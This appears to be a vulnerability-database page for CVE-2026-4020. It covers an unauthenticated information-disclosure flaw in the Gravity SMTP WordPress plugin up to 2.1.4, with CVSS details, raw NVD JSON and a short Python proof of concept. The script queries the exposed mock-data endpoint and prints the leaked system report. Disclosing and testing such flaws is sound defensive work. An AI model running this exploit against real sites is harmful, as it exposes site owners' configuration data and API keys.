Security Vulnerability Report
中文
CVE-2026-4020 CVSS 7.5 HIGH

CVE-2026-4020

Published: 2026-03-31 02:15:59
Last Modified: 2026-04-24 18:11:17

Description

The Gravity SMTP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.4. This is due to a REST API endpoint registered at /wp-json/gravitysmtp/v1/tests/mock-data with a permission_callback that unconditionally returns true, allowing any unauthenticated visitor to access it. When the ?page=gravitysmtp-settings query parameter is appended, the plugin's register_connector_data() method populates internal connector data, causing the endpoint to return approximately 365 KB of JSON containing the full System Report. This makes it possible for unauthenticated attackers to retrieve detailed system configuration data including PHP version, loaded extensions, web server version, document root path, database server type and version, WordPress version, all active plugins with versions, active theme, WordPress configuration details, database table names, and any API keys/tokens configured in the plugin.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Gravity SMTP <= 2.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ Exploit/PoC for CVE-2026-4020 Checks for sensitive info disclosure in Gravity SMTP plugin. """ endpoint = "/wp-json/gravitysmtp/v1/tests/mock-data" params = { "page": "gravitysmtp-settings" } try: # Send unauthenticated request response = requests.get(target_url + endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Target is vulnerable!") print("[+] Leaked Data (Sample):") print(response.text[:500]) # Print first 500 chars to verify else: print("[-] Target does not appear to be vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4020", "sourceIdentifier": "[email protected]", "published": "2026-03-31T02:15:59.487", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gravity SMTP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.4. This is due to a REST API endpoint registered at /wp-json/gravitysmtp/v1/tests/mock-data with a permission_callback that unconditionally returns true, allowing any unauthenticated visitor to access it. When the ?page=gravitysmtp-settings query parameter is appended, the plugin's register_connector_data() method populates internal connector data, causing the endpoint to return approximately 365 KB of JSON containing the full System Report. This makes it possible for unauthenticated attackers to retrieve detailed system configuration data including PHP version, loaded extensions, web server version, document root path, database server type and version, WordPress version, all active plugins with versions, active theme, WordPress configuration details, database table names, and any API keys/tokens configured in the plugin."}, {"lang": "es", "value": "El plugin Gravity SMTP para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 2.1.4, inclusive. Esto se debe a un endpoint de la API REST registrado en /wp-json/gravitysmtp/v1/tests/mock-data con un callback de permisos que devuelve true incondicionalmente, permitiendo que cualquier visitante no autenticado acceda a él. Cuando se añade el parámetro de consulta ?page=gravitysmtp-settings, el método register_connector_data() del plugin rellena los datos internos del conector, haciendo que el endpoint devuelva aproximadamente 365 KB de JSON que contiene el Informe Completo del Sistema. Esto hace posible que atacantes no autenticados recuperen datos detallados de configuración del sistema, incluyendo la versión de PHP, extensiones cargadas, versión del servidor web, ruta de la raíz del documento, tipo y versión del servidor de base de datos, versión de WordPress, todos los plugins activos con sus versiones, tema activo, detalles de configuración de WordPress, nombres de las tablas de la base de datos, y cualquier clave/token de API configurado en el plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://docs.gravitysmtp.com/gravity-smtp-changelog/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravitysmtp/tags/2.1.4/vendor/gravityforms/gravity-tools/src/Providers/class-config-collection-service-provider.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravitysmtp/tags/2.1.4/vendor/gravityforms/gravity-tools/src/Providers/class-config-collection-service-provider.php#L86", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravitysmtp/trunk/vendor/gravityforms/gravity-tools/src/Providers/class-config-collection-service-provider.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravitysmtp/trunk/vendor/gravityforms/gravity-tools/src/Providers/class-config-collection-service-provider.php#L86", "source": "[email protected]"}, {"url": "https://www.gravityforms.com/gravity-smtp/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve", "source": "[email protected]"}]}}